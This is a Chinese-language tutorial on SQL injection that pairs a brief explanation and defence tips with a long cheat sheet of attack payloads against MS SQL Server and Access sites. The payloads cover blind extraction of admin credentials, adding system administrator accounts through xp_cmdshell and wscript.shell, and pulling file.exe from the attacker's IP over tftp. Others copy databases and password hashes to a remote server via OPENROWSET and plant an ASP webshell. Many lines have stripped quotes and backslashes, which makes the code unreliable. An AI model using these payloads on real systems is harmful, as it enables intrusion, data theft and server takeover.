SQL注入攻擊網站詳解

sql注入攻防入門詳解

一、原理

SQL注入攻擊指的是通過構建特殊的輸入作為參數傳入Web應用程序，而這些輸入大都是SQL語法裏的一些組合，通過執行SQL語句進而執行攻擊者所要的操作，其主要原因是程序沒有細緻地過濾用戶輸入的數據，致使非法數據侵入系統。根據相關技術原理，SQL注入可以分為平臺層注入和代碼層注入。前者由不安全的資料庫配置或資料庫平臺的漏洞所致；後者主要是由於程序員對輸入未進行細緻地過濾，從而執行了非法的數據查詢。基於此，SQL注入的產生原因通常表現在以下幾方面：①不當的類型處理；②不安全的資料庫配置；③不合理的查詢集處理；④不當的錯誤處理；⑤轉義字元處理不合適；⑥多個提交處理不當二、攻擊

當應用程序使用輸入內容來構造動態sql語句以訪問資料庫時，會發生sql注入攻擊。如果代碼使用存儲過程，而這些存儲過程作為包含未篩選的用戶輸入的字元串來傳遞，也會發生sql注入。sql注入可能導致攻擊者使用應用程序登陸在資料庫中執行命令。相關的SQL注入可以通過測試工具pangolin進行。如果應用程序使用特權過高的帳戶連接到資料庫，這種問題會變得很嚴重。在某些表單中，用戶輸入的內容直接用來構造動態sql命令，或者作為存儲過程的輸入參數，這些表單特別容易受到sql注入的攻擊。而許多網站程序在編寫時，沒有對用戶輸入的合法性進行判斷或者程序中本身的變數處理不當，使應用程序存在安全隱患。這樣，用戶就可以提交一段資料庫查詢的代碼，根據程序返回的結果，獲得一些敏感的信息或者控制整個伺服器，於是sql注入就發生了

三、防護歸納一下，主要有以下幾點：1.永遠不要信任用戶的輸入。對用戶的輸入進行校驗，可以通過正則表達式，或限制長度；對單引號和雙"-"進行轉換等。2.永遠不要使用動態拼裝sql，可以使用參數化的sql或者直接使用存儲過程進行數據查詢存取。3.永遠不要使用管理員許可權的資料庫連接，為每個應用使用單獨的許可權有限的資料庫連接。4.不要把機密信息直接存放，加密或者hash掉密碼和敏感的信息。5.應用的異常信息應該給出儘可能少的提示，最好使用自定義的錯誤信息對原始錯誤信息進行包裝6.sql注入的檢測方法一般採取輔助軟體或網站平臺來檢測，軟體一般採用sql注入檢測工具jsky，網站平臺就有億思網站安全平臺檢測工具。MDCSOFT SCAN等。採用MDCSOFT-IPS可以有效的防禦SQL注入，XSS攻擊等

SOL注入注入方法

方法1

先猜表名And (Select count(*) from 表名)<>0猜列名And (Select count（列名） from 表名）<>0或者也可以這樣and exists (select * from 表名）and exists (select 列名 from 表名）返回正確的，那麼寫的表名或列名就是正確

這裡要注意的是，exists這個不能應用於猜內容上，例如and exists (select len(user) from admin)>3 這樣是不行的

很多人都是喜歡查詢裡面的內容，一旦iis沒有關閉錯誤提示的，那麼就可以利用報錯方法輕鬆獲得庫裡面的內容獲得資料庫連接用戶名：；and user>0這個是小竹提出來的，我這裡引用《SQL注入天書》裡面的一段話來講解："重點在and user>0，我們知道，user是SQLServer的一個內置變數，它的值是當前連接的用戶名，類型為nvarchar。拿一個 nvarchar的值跟int的數0比較，系統會先試圖將nvarchar的值轉成int型，當然，轉的過程中肯定會出錯，SQLServer的出錯提示是：將nvarchar轉換int異常，XXXX不能轉換成int"看到這裡大家明白了吧，報錯的原理就是利用SQLserver內置的系統表進行轉換查詢，轉換過程會出錯，然後就會顯示出在網頁上，另外還有類似的and 1=(selet top 1 user from admin），這種語句也是可以爆出來的。；and db_name()>0 則是暴資料庫名。一旦關閉了IIS報錯，那麼還可以用union（聯合查詢）來查內容，主要語句就是Order by 10And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from adminAnd 1=2 union select 1,2,3,user,5,passwd,7,8,9,10 from admin

上面的order by 10主要就是查欄位數目，admin就是表名，可以自己猜，user,passwd是列名

反正就是返回正確即對，返回異常即錯另外還有十分常用的ASCII碼拆半法先要知道指定列名，例如user裏的內容的長度and (select len(user) from admin)=2 就是查詢長度為不為2位，返回錯誤的增加或減少數字，一般這個數字不會太大，太大的就要放棄了，猜也多餘後面的邏輯符號可以根據不同要求更改的，>；大於 <；小於 =就是等於咯，更新語句的話，=也可以表示傳遞符號 <>；就是不等知道了長度後就可以開始猜解了And (Select top 1 asc(mid(user,n,1)) from admin)>100n就是猜解的表名的第幾位，最後的長度數字就是剛才猜解出來的列名長度了，And (Select top 1 asc(mid(user,1,1)) from admin)>100 就是猜解user裏內容的第一位的ASCII字元是不是大於100

正確的話，那麼表示USER第一個字元的ASCII碼大於100，那麼就猜>120，返回錯誤就是介於100－120之間，然後再一步一步的縮少，最終得到正確字元XXX，然後用ASCII轉換器吧這個轉換成普通字元就可以了

然後就是第二位 And (Select top 1 asc(mid(user,2,1)) from admin)>100 一直猜下去加在url後面，列名錶名還是先猜解，返回正確的代表帳號的ASCII碼大於100，那麼就再向前猜，直到報錯，把猜出來的ASCII碼拿去ASCII轉換器轉換就可以了，中文是負數，加上asb取絕對值And (Select top 1 asb(asc(mid(user,n,1))) from admin)>15320得到之後就記得在數字前加-號，不然ASCII轉換器轉換不來的，中文在ASCII碼裏是-23423這樣的，所以猜起來挺麻煩這個猜解速度比較慢，但是效果最好，最具有廣泛性方法2後臺身份驗證繞過漏洞驗證繞過漏洞就是or=or後臺繞過漏洞，利用的就是AND和OR的運算規則，從而造成後臺腳本邏輯性錯誤例如管理員的賬號密碼都是admin，那麼再比如後臺的資料庫查詢語句是

user=request("user")

passwd=request("passwd")sql=select admin from adminbate where user=&&user&& and passwd=&&passwd&那麼我使用or a=a來做用戶名密碼的話，那麼查詢就變成了select admin from adminbate where user=or a=a and passwd=or a=a這樣的話，根據運算規則，這裡一共有4個查詢語句，那麼查詢結果就是假or真and假or真，先算and 再算or，最終結果為真，這樣就可以進到後臺了這種漏洞存在必須要有2個條件，第一個：在後臺驗證代碼上，賬號密碼的查詢是要同一條查詢語句，也就是類似sql="select * from admin where username="&username&&"passwd="&passwd&如果一旦賬號密碼是分開查詢的，先查帳號，再查密碼，這樣的話就沒有辦法了。第二就是要看密碼加不加密，一旦被MD5加密或者其他加密方式加密的，那就要看第一種條件有沒有可以，沒有達到第一種條件的話，那就沒有戲了

方法3

防禦方法對於怎麼防禦SQL注入呢，這個網上很多，我這裡講幾個如果自己編寫防注代碼，一般是先定義一個函數，再在裡面寫入要過濾的關鍵詞，如select ; 「」；from；等，這些關鍵詞都是查詢語句最常用的詞語，一旦過濾了，那麼用戶自己構造提交的數據就不會完整地參與資料庫的操作。當然如果你的網站提交的數據全部都是數字的，可以使用小竹提供的方法Function SafeRequest(ParaName,ParaType)--- 傳入參數 ---ParaName：參數名稱-字元型ParaType：參數類型-數字型（1表示以上參數是數字，0表示以上參數為字元）Dim ParaValue

ParaValue=Request(ParaName)

If ParaType=1 thenIf not isNumeric(ParaValue) thenResponse.write "參數" & ParaName & "必須為數字型！"Response.endEnd ifElseParaValue=replace(ParaValue,"","")End ifSafeRequest=ParaValue

End function

然後就用SafeRequest（）來過濾參數，檢查參數是否為數字，不是數字的就不能通過

SQL注入語句特徵

1.判斷有無注入點

; and 1=1 and 1=22.猜表一般的表的名稱無非是admin adminuser user pass password 等..and 0<>(select count(*) from *)and 0<>(select count(*) from admin) ---判斷是否存在admin這張表3.猜帳號數目如果遇到0< 返回正確頁面， 1<返回錯誤頁面，說明帳號數目就是1個and 0<(select count(*) from admin)and 1<(select count(*) from admin)4.猜解欄位名稱在len( ) 括弧裡面加上我們想到的欄位名稱.and 1=(select count(*) from admin where len(*)>0)--and 1=(select count(*) from admin where len（用戶欄位名稱name)>0)and 1=(select count(*) from admin where len（密碼欄位名稱password)>0)5.猜解各個欄位的長度猜解長度就是把>0變換直到返回正確頁面為止and 1=(select count(*) from admin where len(*)>0)and 1=(select count(*) from admin where len(name)>6) 錯誤and 1=(select count(*) from admin where len(name)>5) 正確長度是6and 1=(select count(*) from admin where len(name)=6) 正確and 1=(select count(*) from admin where len(password)>11) 正確and 1=(select count(*) from admin where len(password)>12) 錯誤長度是12and 1=(select count(*) from admin where len(password)=12) 正確6.猜解字元and 1=(select count(*) from admin where left(name,1)=a) ---猜解用戶帳號的第一位and 1=(select count(*) from admin where left(name,2)=ab)---猜解用戶帳號的第二位就這樣一次加一個字元這樣猜，猜到夠你剛才猜出來的多少位了就對了，帳號就算出來了and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --這個查詢語句可以猜解中文的用戶和密碼.只要把後面的數字換成中文的ASSIC碼就OK.最後把結果再轉換成字元.group by users. id having 1=1--group by users. id,users.username,users.password,users.privs having 1=1--; insert into users values( 666,attacker,foobar,0xffff )--UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable-UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN(login_id)-UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN(login_id,login_name)-UNION SELECT TOP 1 login_name FROM logintable-UNION SELECT TOP 1 password FROM logintable where login_name=Rahul--看伺服器打的補丁=出錯了打了SP4補丁and 1=(select @@VERSION)--看資料庫連接賬號的許可權，返回正常，證明是伺服器角色sysadmin許可權。and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--判斷連接資料庫帳號。（採用SA賬號連接返回正常=證明瞭連接賬號是SA）and sa=(SELECT System_user)--and user_name()=dbo--and 0<>(select user_name()--看xp_cmdshell是否刪除and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)--xp_cmdshell被刪除，恢復，支持絕對路徑的恢復;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:inetpubwwwrootxplog70.dll--反向PING自己實驗;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--加帳號;DECLARE @shell INT EXEC SP_OACREATEwscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:WINNTsystem32cmd.exe/c net user jiaoniang$ 1866574 /add--創建一個虛擬目錄E盤：;declare @o int exec sp_oacreatewscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:inetpubwwwrootmkwebdir.vbs -w "默認Web站點" -v "e","e："--訪問屬性：（配合寫入一個webshell）declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e +browse爆庫特殊技巧：：%5c= 或者把/和修改%5提交and 0<>(select top 1 paths from newtable)--得到庫名（從1到5都是系統的id，6以上纔可以判斷）and 1=(select name from master.dbo.sysdatabases where dbid=7)--and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)依次提交 dbid = 7,8,9.... 得到更多的資料庫名and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一個表假設為 adminand 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 來得到其他的表。and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=adminand uid>(str(id))) 暴到UID的數值假設為18779569 uid=idand 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個admin的一個欄位，假設為 user_idand 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in(id,...)) 來暴出其他的欄位and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用戶名依次可以得到密碼。假設存在user_id username,password 等欄位and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判斷id值and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有欄位id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from adminid=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用）得到WEB路徑;create table [dbo].[swap] ([swappass][char](255));--and (select top 1 swappass from swap)=1--;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread@rootkey=HKEY_LOCAL_MACHINE,@key=SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots,@value_name=/,values=@testOUTPUT insert into paths(path) values(@test)--;use ku1;--;create table cmd (str image);-- 建立image類型的表cmd存在xp_cmdshell的測試過程：;exec master..xp_cmdshell dir;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帳號;exec master.dbo.sp_password null,jiaoniang$,1866574;--;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes/active:yes /add;--;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;--exec master..xp_servicecontrol start,schedule 啟動服務exec master..xp_servicecontrol start,server; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C：WINNTsystem32cmd.exe /c net user jiaoniang$ 1866574 /add;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C：WINNTsystem32cmd.exe/c net localgroup administrators jiaoniang$ /add; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上傳文件;declare @a sysname set @a=xp_+cmdshell exec @a dir c:;declare @a sysname set @a=xp+_cm』+』dshell exec @a dir c:;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目錄bak.dat如果被限制則可以。select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)查詢構造：SELECT * FROM news WHERE id=... AND topic=... AND .....adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>select 123;--;use master;--:a or name like fff%;-- 顯示有一個叫ffff的用戶哈。and 1<>(select count(email) from [user]);--;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--;update [users] set email=(select top 1 count(id) from password) where name=ffff;--;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--上面的語句是得到資料庫中的第一個用戶表，並把表名放在ffff用戶的郵箱欄位中。通過查看ffff的用戶資料可得第一個用表叫ad然後根據表名ad得到這個表的ID 得到第二個表的名字insert into users values( 666,char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),0xffff)--insert into users values( 667,123,123,0xffff)--insert into users values ( 123,admin--,password,0xffff)--;and user>0;and (select count(*) from sysobjects)>0;and (select count(*) from mysysobjects)>0 //為access資料庫枚舉出數據表名;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--這是將第一個表名更新到aaa的欄位處。讀出第一個表，第二個表可以這樣讀出來（在條件後加上 and name<>；剛纔得到的表名）。;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--然後id=1552 and exists(select * from aaa where aaa>5)讀出第二個表，一個個的讀出，直到沒有為止。讀欄位是這樣：;update aaa set aaa=(select top 1 col_name(object_id（表名），1));--然後id=152 and exists(select * from aaa where aaa>5)出錯，得到欄位名;update aaa set aaa=(select top 1 col_name(object_id（表名），2));--然後id=152 and exists(select * from aaa where aaa>5)出錯，得到欄位名[獲得數據表名][將欄位值更新為表名，再想法讀出這個欄位的值就可得到表名]update 表名 set 欄位=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>；你得到的表名查出一個加一個])[ where 條件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2，…）通過SQLSERVER注入漏洞建資料庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組][獲得數據表欄位名][將欄位值更新為欄位名，再想法讀出這個欄位的值就可得到欄位名]update 表名 set 欄位=(select top 1 col_name(object_id（要查詢的數據表名），欄位列如：1) [ where 條件]繞過IDS的檢測[使用變數];declare @a sysname set @a=xp_+cmdshell exec @a dir c:;declare @a sysname set @a=xp+_cm』+』dshell exec @a dir c:開啟遠程資料庫基本語法select * from OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1 )參數： (1) OLEDB Provider name其中連接字元串參數可以是任何埠用來連接，比如select * from OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table複製目標主機的整個資料庫insert所有遠程表到本地表。基本語法：insert into OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1) select * from table2這行語句將目標主機上table2表中的所有數據複製到遠程資料庫中的table1表中。實際運用中適當修改連接字元串的IP地址和埠，指向需要的地方，比如：insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * fromtable2insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases)select * from master.dbo.sysdatabasesinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)select * from user_database.dbo.sysobjectsinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns)select * from user_database.dbo.syscolumns複製資料庫：insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * fromdatabase..table2複製哈西表（HASH）登錄密碼的hash存儲於sysxlogins中。方法如下：insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select* from database.dbo.sysxlogins得到hash之後，就可以進行暴力破解。遍歷目錄的方法：先創建一個臨時表：temp;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--;insert temp exec master.dbo.xp_availablemedia;-- 獲得當前所有驅動器;insert into temp(id) exec master.dbo.xp_subdirs c:;-- 獲得子目錄列表;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- 獲得所有子目錄的目錄樹結構，並寸入temp表中;insert into temp(id) exec master.dbo.xp_cmdshell type c:webindex.asp;-- 查看某個文件的內容;insert into temp(id) exec master.dbo.xp_cmdshell dir c:;--;insert into temp(id) exec master.dbo.xp_cmdshell dir c: *.asp /s/a;--;insert into temp(id) exec master.dbo.xp_cmdshell cscript. C:InetpubAdminScriptsadsutil.vbs enum w3svc;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- （xp_dirtree適用許可權PUBLIC）寫入表：語句1：and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));--語句2：and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));--語句3：and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--語句4：and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--語句5：and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--語句6：and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--語句7：and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--語句8：and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--語句9：and 1=(SELECT IS_MEMBER(db_owner));--把路徑寫到表中去：;create table dirs(paths varchar(100),id int)--;insert dirs exec master.dbo.xp_dirtree c:--and 0<>(select top 1 paths from dirs)--and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--;create table dirs1(paths varchar(100),id int)--;insert dirs exec master.dbo.xp_dirtree e:web--and 0<>(select top 1 paths from dirs1)--把資料庫備份到網頁目錄：下載;declare @a sysname; set @a=db_name();backup database @a to disk=e:webdown.bak;--and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 參看相關表。and 1=(select user_id from USER_LOGIN)and 0=(select user from USER_LOGIN where user>1)-=-wscript.shellexample -=-declare @o intexec sp_oacreate wscript.shell,@o outexec sp_oamethod @o,run,NULL,notepad.exe; declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,notepad.exe--declare @o int,@f int,@t int,@ret intdeclare @line varchar(8000)exec sp_oacreate scripting.filesystemobject,@o outexec sp_oamethod @o,opentextfile,@f out,c:oot.ini,1exec @ret = sp_oamethod @f,readline,@line outwhile( @ret = 0 )beginprint @lineexec @ret = sp_oamethod @f,readline,@line outenddeclare @o int,@f int,@t int,@ret intexec sp_oacreate scripting.filesystemobject,@o outexec sp_oamethod @o,createtextfile,@f out,c:inetpubwwwrootfoo.asp,1exec @ret = sp_oamethod @f,writeline,NULL,<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>declare @o int,@ret intexec sp_oacreate speech.voicetext,@o outexec sp_oamethod @o,register,NULL,foo,barexec sp_oasetproperty @o,speed,150exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to,us,528 waitfor delay 00:00:05; declare @o int,@ret int exec sp_oacreate speech.voicetext,@o out exec sp_oamethod @o,register,NULL,foo,bar execsp_oasetproperty @o,speed,150 exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to us,528 waitfor delay 00:00:05--xp_dirtree適用許可權PUBLICexec master.dbo.xp_dirtree c:返回的信息有兩個欄位subdirectory、depth。Subdirectory欄位是字元型，depth欄位是整形欄位。create table dirs(paths varchar(100),id int)建表，這裡建的表是和上面xp_dirtree相關連，欄位相等、類型相同。insert dirs exec master.dbo.xp_dirtree c:只要我們建表與存儲進程返回的欄位相定義相等就能夠執行！達到寫表的效果.

SQL注入防範

1、輸入驗證

檢查用戶輸入的合法性，確信輸入的內容只包含合法的數據。數據檢查應當在客戶端和伺服器端都執行之所以要執行伺服器端驗證，是為了彌補客戶端驗證機制脆弱的安全性。在客戶端，攻擊者完全有可能獲得網頁的源代碼，修改驗證合法性的腳本（或者直接刪除腳本），然後將非法內容通過修改後的表單提交給伺服器。因此，要保證驗證操作確實已經執行，唯一的辦法就是在伺服器端也執行驗證。你可以使用許多內建的驗證對象，例如Regular Expression Validator，它們能夠自動生成驗證用的客戶端腳本，當然你也可以插入伺服器端的方法調用。如果找不到現成的驗證對象，你可以通過Custom Validator自己創建一個。2、錯誤消息處理防範SQL注入，還要避免出現一些詳細的錯誤消息，因為黑客們可以利用這些消息。要使用一種標準的輸入確認機制來驗證所有的輸入數據的長度、類型、語句、企業規則等。3、加密處理將用戶登錄名稱、密碼等數據加密保存。加密用戶輸入的數據，然後再將它與資料庫中保存的數據比較，這相當於對用戶輸入的數據進行了「消毒」處理，用戶輸入的數據不再對資料庫有任何特殊的意義，從而也就防止了攻擊者注入SQL命令。4、存儲過程來執行所有的查詢SQL參數的傳遞方式將防止攻擊者利用單引號和連字元實施攻擊。此外，它還使得資料庫許可權可以限制到只允許特定的存儲過程執行，所有的用戶輸入必須遵從被調用的存儲過程的安全上下文，這樣就很難再發生注入式攻擊了。5、使用專業的漏洞掃描工具攻擊者們目前正在自動搜索攻擊目標並實施攻擊，其技術甚至可以輕易地被應用於其它的Web架構中的漏洞。企業應當投資於一些專業的漏洞掃描工具，如大名鼎鼎的Acunetix的Web漏洞掃描程序等。一個完善的漏洞掃描程序不同於網路掃描程序，它專門查找網站上的SQL注入式漏洞。最新的漏洞掃描程序可以查找最新發現的漏洞。6、確保資料庫安全鎖定你的資料庫的安全，只給訪問資料庫的web應用功能所需的最低的許可權，撤銷不必要的公共許可，使用強大的加密技術來保護敏感數據並維護審查跟蹤。如果web應用不需要訪問某些表，那麼確認它沒有訪問這些表的許可權。如果web應用只需要只讀的許可權，那麼就禁止它對此表的 drop 、insert、update、delete 的許可權，並確保資料庫打了最新補丁。7、安全審評在部署應用系統前，始終要做安全審評。建立一個正式的安全過程，並且每次做更新時，要對所有的編碼做審評。開發隊伍在正式上線前會做很詳細的安全審評，然後在幾周或幾個月之後他們做一些很小的更新時，他們會跳過安全審評這關，「就是一個小小的更新，我們以後再做編碼審評好了」。請始終堅持做安全審評。

防止SOL注入五種方法

一、（簡單又有效的方法）PreparedStatement

採用預編譯語句集，它內置了處理SQL注入的能力，只要使用它的setXXX方法傳值即可。使用好處：(1).代碼的可讀性和可維護性.(2).PreparedStatement盡最大可能提高性能.(3).最重要的一點是極大地提高了安全性.原理：sql注入只對sql語句的準備(編譯)過程有破壞作用而PreparedStatement已經準備好了,執行階段只是把輸入串作為數據處理,而不再對sql語句進行解析,準備,因此也就避免了sql注入問題.二、使用正則表達式過濾傳入的參數要引入的包：import java.util.regex.*;正則表達式：private String CHECKSQL = 「^(.+)\sand\s(.+)|(.+)\sor(.+)\s$」;判斷是否匹配：Pattern.matches(CHECKSQL,targerStr);下面是具體的正則表達式：檢測SQL meta-characters的正則表達式：/(\%27)|(』)|(--)|(\%23)|(#)/ix修正檢測SQL meta-characters的正則表達式：/((\%3D)|(=))[^
]*((\%27)|(』)|(--)|(\%3B)|(:))/i典型的SQL 注入攻擊的正則表達式：/w*((\%27)|(』))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix檢測SQL注入，UNION查詢關鍵字的正則表達式：/((\%27)|(』))union/ix(\%27)|(』)檢測MS SQL Server SQL注入攻擊的正則表達式：/exec(s|+)+(s|x)pw+/ix等等…..三、字元串過濾比較通用的一個方法：（||之間的參數可以根據自己程序的需要添加）public static boolean sql_inj(String str){String inj_str = "|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,";String inj_stra[] = split(inj_str,"|");for (int i=0 ; i < inj_stra.length ; i++ ){if (str.indexOf(inj_stra[i])>=0){return true;}}return false;}四、jsp中調用該函數檢查是否包函非法字元防止SQL從URL注入：sql_inj.java代碼：package sql_inj;import java.net.*;import java.io.*;import java.sql.*;import java.text.*;import java.lang.String;public class sql_inj{public static boolean sql_inj(String str){String inj_str = "|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,";//這裡的東西還可以自己添加String[] inj_stra=inj_str.split("\|");for (int i=0 ; i < inj_stra.length ; i++ ){if (str.indexOf(inj_stra[i])>=0){return true;}}return false;}}五、JSP頁面判斷代碼使用javascript在客戶端進行不安全字元屏蔽功能介紹：檢查是否含有」『」,」\」,」/」參數說明：要檢查的字元串返回值：0：是1：不是函數名是function check(a){return 1;fibdn = new Array (」『」 ,」\」,」/」);i=fibdn.length;j=a.length;for (ii=0; ii＜i; ii++){ for (jj=0; jj＜j; jj++){ temp1=a.charAt(jj);temp2=fibdn[ii];if (tem』; p1==temp2){ return 0; }}}return 1;}
推薦閱讀：